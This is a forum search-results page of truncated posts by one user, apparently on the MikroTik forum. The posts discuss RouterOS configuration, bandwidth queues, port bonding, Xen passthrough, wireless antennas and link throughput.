Limit maximum upload speed to hinder sending traffic that would be otherwise thrown away when reaching where you normally limit bandwidth (i.e. pppoe server). Make sure you properly size queue type so you don't create high latency. Then for the specific answer to your question, use a firewall rule ...

wpeople

Hello, if you are using mikrotiks on client side, then configure these as routers and add simple queues. so you will limit max throughput on client side. This is most effective solution. What you said is definitely bad - or my description was not too good: "with high pps and not high bandwidth...

wpeople

Hello, Sadly i have a bunch of customers with badly configured torrent clients, so they are overloading the sector with high number of packet/sec with low frame size. (yes, we can tell them, they have no more download speed if they download by 10 streams or 100 streams - but the latter one highly de...

wpeople

i think, you have 2 options:
1) bridge via CPU (less performance, but CPU can handle 100mbps)
2) link the via patch cable (save CPU, but lost 1-1 ports)

wpeople

yes, you can. VLAN interfaces just like wired interface from view of firewalling.

wpeople

well, i still not brave enough to upgrade the production APs to 6.x, so the only solution what i found is scripting. There are several script exist for fixing this issue (what happens to me even with 5.24, 5.25, and 5.26 version, luckily, very few times) what a) ping specific host and disable/enable...

wpeople

If you can pass the PCI NIC to the guest it will work with wirespeed. Pv guest also do this, but ROS needs hvm virtualisation. If mikrotik would compile in the PVHVM drivers, it would also give almost the same speed because the NIC is not emulated.

wpeople

if i were you, i would do this redirection in the proxy, not in Mikrotik.
If you would like to do it in mikrotik, the firewall, should check the header inside the packet, what would be huge additional load,
and your proxy is doing this every time it forwards a request.

wpeople

any news on this?

wpeople

yes, from MUM Venice '14 the 19dB antenna with internal device is just released, and metal CPE case http://www.rfelements.com/en/products/radio-enclosures/stationbox-s/ as well. I can't wait for the radio embedded 1foot dish :-) I rather use that device instead of Mikrotik's panel antenna CPE (qrt?)...

wpeople

http://www.rfelements.com/assets/Uploads/DSC35.JPG http://www.rfelements.com/assets/Uploads/P13.JPG This will be the answer for the question. What is really ahead of the others - it has a cage for the routerboard with metal backplate for extra shielding (what you not have when you mount the Basebox ...

wpeople

i've sent an email to you, from [my nick] at gmail.com

wpeople

well, until you not give more details, i cannot give advice...
Maybe can you give a photo of your POP site, and city name? (even in private)

wpeople

I wanted to be sure that you speak about the vertical beam and not the horizontal, I also didn't want to compare the 16 and 19db version but the 19version of the 2 brand (ubnt, rfe). So could you advice me what is better for a urban high buildings environment? I thinked that the rfe 90° perhaps is ...

wpeople

i'm sorry for being rude, but have you ever checked any spec??? What is the difference between a Ferrari and John Deer? both has 500horsepower... Back to the topic: UBNT has 2 Airmax sector antennas, with 120deg opening. The 16dB version and 19dB version. The 19dB version is double sized as 16dB (so...

wpeople

in my practice, the gain (dB) is not the only measurement of the antennas. You know, the antenna is focusing the beam. If you have 2 antennas with 120deg on both, but different gains, the higher gain will have tighter beam. Some of the antennas has electric downtilt so you maybe need to direct the a...

wpeople

RFE's sector much worse than UBNT's. Not to mention Titanium.
my 2 cents.

wpeople

http://routerboard.com/RB912UAG-5HPnD

i think, it's the same board as BaseBox has - but only client licence.

wpeople

well, it can be basebox with ubnt dish, however: - mikrotik now makes it's own dish, what is (they said) better than ubnt's and cheaper too - basebox is a plastik box, with AP licence. for AP, i would go for it, but (immediately after being available) if would change to plastik box for RF elements's...

wpeople

Just 30 clients per cell !!! Then I'm going to need many cells for 100+ users! Basebox has a gigabit interface, hope it will be useful in serving the heavy bandwidth demands of the clients. The system can handle more than 30 users /cell (i'm not sure if 100 connected radio can download in the same ...

wpeople

hello, if you have no interference and nearby clients (no more than 20-30) you can even start with omni antenna. (UBNT's MIMO omni is a good one - but DO NOT go for the highest gain in with omni, unless you really know what you are doing!) In our experience, the quality of antenna (i mean the data t...

wpeople

efaden: well, the port bridging (and filtering) can be done at CPU or switch-chip.

My question was: do the switch chip capable of port trunk group (aka bonding) with LACP?
of course, i wish to use ASIC in switch instead of, since the CPU is definitely NOT capable of bonding 2xGigE.

wpeople

is this a right place to ask if CRS is capable of trunk group (aka bondig) with LACP (or alike)?
if so, how?

wpeople

troy: this is a real SWITCH with routerOS features addon. Why the hell do you need more then a gbps connection to the CPU (what cannot handle more than few hundred megs)?

Think about a managed gigabit switch plus a dual port mikrotik router - in one box (ok it offers more, but not expect too much...)

wpeople

well, you can
1) replace 450G with 2011 (or 450) and use only 100mbps port
2) use nstream instead of nv2
3) replace groove with 952 (or alike with gigE port)

wpeople

Hi,
i have the same issue, with 5.18 and 5.26 using HP NC360T (intel 82571 chipset)
did you found any solution?

wpeople

i'm very interested when we reach the point where Mikrotik will admint why they deny to use UDP and compression in OpenVPN.

wpeople

port trunking (bonding) please

wpeople

I have a working PCI passthru under Xen with Debian6 (squeeze), Xen4.0, HP DL380G6 onboard Broadcom 2xDualport since the mobo has two dualport NICs integrated, i can't passthru only one port, it's a must to use the whole second card. (since DL380g8 has a quad port NIC integrated, i can use only the ...

wpeople

Normis: very nice features, BUT i see no option for bonding!!! If I would like to use bonding, i have to use the CPU for that feature, and i'm not sure, that it can handle bonding of multiple gbps. I would be please to have a feature of bonding like assigning "slave" ports to a master. For...

wpeople

system resource print detail output of the same card in different (native) installation: 1 device="02:00.1" name="82571EB Gigabit Ethernet Controller (rev: 6)" vendor="Intel Corporation" category="Ethernet controller" vendor-id="0x8086" device-id=&qu...

wpeople

Hello, i'm interested if any of You using RouterOS as Xen DomU (guest). My experience is max bandwidth test is around 100mbps with bridged network. If I give the whole PCI card with PCI passthru to the DomU, it can reach almost the max speed of gigabit. My problem is: i've installed Debian7 onto a n...

wpeople

Hello,

We found that Mikrotik SXT (2G version) not working as bridge with 5mhz or 10mhz raster size -with ROS 5.22. At least, client cannot connect to (what worked before with card in RB532). Upgrading the device to 5.25 or 6.1 solved the problem.

wpeople

Ehman: as you may read on the forum, importing backup sometimes not working (or producing problems) while configuration after clean install works well. (and this is equivalent of importing export-file from the same ROS version)

wpeople

Hello, I would like to make an OpenVPN connection to another Mikrotik device, with IPSec in the middle. (the OpenVPN server should not be reached other than IPsec) Setup like the following: DeviceA(RB750)-Internet via PPPoE DeviceB(RB450G) - Internet via Leased Line DeviceC(RB450G) - uplink to Devic...

wpeople

have both device with same ROS version and firmware version - in this case, the problems minimalised. However, we are backing up "/export compact" instead of configuration backup. that is human readable and if some problem accours, you will be warned immediately and you can fix it. No wors...

wpeople

i also see such issue on customer routers. My solutions was: 1) create an access list for used DNS servers 2) create a firewall rule to drop all incoming packets what's targetting udp/53 and NOT originated from src-address-list=dns-servers and coming from WAN interface. however i would welcome a sol...

wpeople

I have a link in the following setup:

PC Based Mikrotik RB600 -(MIMO 2x2, 40mhz, 15km)- RB433AH -RB493AH-Multiple RB433AHs

measuring from PC to remote RB433AHs (3 in one time) total thruput was ~150mbps
(~90mbps in one direction and ~60mbps on another) - bottleneck was fast ethernet on remote side.

wpeople

http://wiki.mikrotik.com/wiki/Manual:Queues_-_Burst The above link well guides you in the world of queues and burst. As i know, not (only) the number of queues are the limit, but rather the handled bandwidth. (For example, and RB450G easily can handle 100 queues - if the aggregate bandwidth is not m...

wpeople

- Measuring from "A" gives incorrect speed, since CPU is overloaded with btest
- thruput for 2x2 - 40mhz should give you ~180mbps

lookup my related posts in the forum, it explains the problem and measurements very well.

wpeople

not helped. the problem definitely related between NV2 and ethernet PHY (maybe backpressure)

wpeople

http://forum.mikrotik.com/viewtopic.php?f=7&t=70129 There IS a problem with NV2 when the traffic source on ethernet side changed from GigE to FastE. If Your ethernet type is same on all devices on a wired segment, it will work. Like: Internet feed (GigE) router (GigE) switch (GigE) wireless <~> ...

wpeople

ping flood with 1000 packets is not a must, however single pings / sec does not produces enough bandwidth for proper ccq measurement

wpeople

sorry, seems to be cable fault

wpeople

Hello, I wish to connect my RB1100AH to a Huawei GPon residental gateway, what gives me 120mbps connection. Sadly, the residental gateway have no option for fixing port speed, and don't want to sync, just with 100mbps. Even if i set auto-negotiation=off on RB1100AH. I've tried the 5x switchgroup, po...

wpeople

thanks! So this is not encryption accelerator, but IPSec-encryption accelerator

its offtopic from now, but can you forward me any wiki or howto, about setting up an OSPF thru IPSec VPN? (do i have to use IP-IP over IPSec, or what?)

wpeople

Hi Guys!

I'm interested if the encryption accelerator chip inside is an AES accelerator or IPSec accelerator?
If the first, than it should accelerate OpenVPN with enc@AES, doesn't it?

wpeople

MarekG: we made some test with the following devices: 433GL, 2011, 600, 493G (we have some more devices what we can test) if all set to auto - they are syncs. If any of the devices (or both) set to 1000 fdx, than only 2011 vs 600 links, others are not. I'm interested if any of you have tested this -...

wpeople

Using RB493G with 2 wireless cards (wlan1 and wlan2). Both in AP mode, with 1-1 wds station connected. When I select a new channel for wlan2, wlan1 disconnects as well. Of course, there is a big spacing between channels (100+ MHz) both cards are running in 802.11-N and nv2, dual chain. Anyone meet t...

Search found 380 matches